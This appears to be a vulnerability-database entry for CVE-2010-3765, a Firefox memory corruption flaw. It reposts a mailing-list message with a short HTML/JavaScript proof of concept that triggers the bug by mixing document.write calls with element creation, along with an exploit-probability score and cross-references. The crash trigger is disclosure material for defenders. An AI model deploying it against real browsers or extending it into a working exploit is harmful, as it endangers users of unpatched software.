Firefox Memory Corruption Proof of Concept (Simplified)

2010-10-2900:00:00

Root

www.seebug.org

0.967 High

EPSS

Percentile

99.7%

JSON

No description provided by source.


                                                Hi there,
 
For those who still do not know .. The proof of concept (that I have
extracted) for CVE-2010-3765 is the following:
 
&lt;html&gt;&lt;body&gt;
&lt;script&gt;
 
  function G(str){
    var cobj=document.createElement(str);
    document.body.appendChild(cobj);
    cobj.scrollWidth;
  }
 
  function crashme() {
    document.write(&quot;fooFOO&quot;);
    G(&quot;a&quot;);
    document.write(&quot;&lt;a lang&gt;&lt;/a&gt;a&quot;);
    G(&quot;base&quot;);
    document.write(&quot;barBAR&quot;);
    G(&quot;audio&quot;);
  }
&lt;/script&gt;
&lt;script&gt;crashme();&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;
 
For more details:
http://extraexploit.blogspot.com/2010/10/cve-2010-3765-proof-of-concept.html
-- 
http://extraexploit.blogspot.com

nessus 51

openvas 79

centos 4

ubuntu 3

fedora 21

prion 1

cvelist 1

redhat 6

securityvulns 2

packetstorm 3

oraclelinux 4

exploitpack 1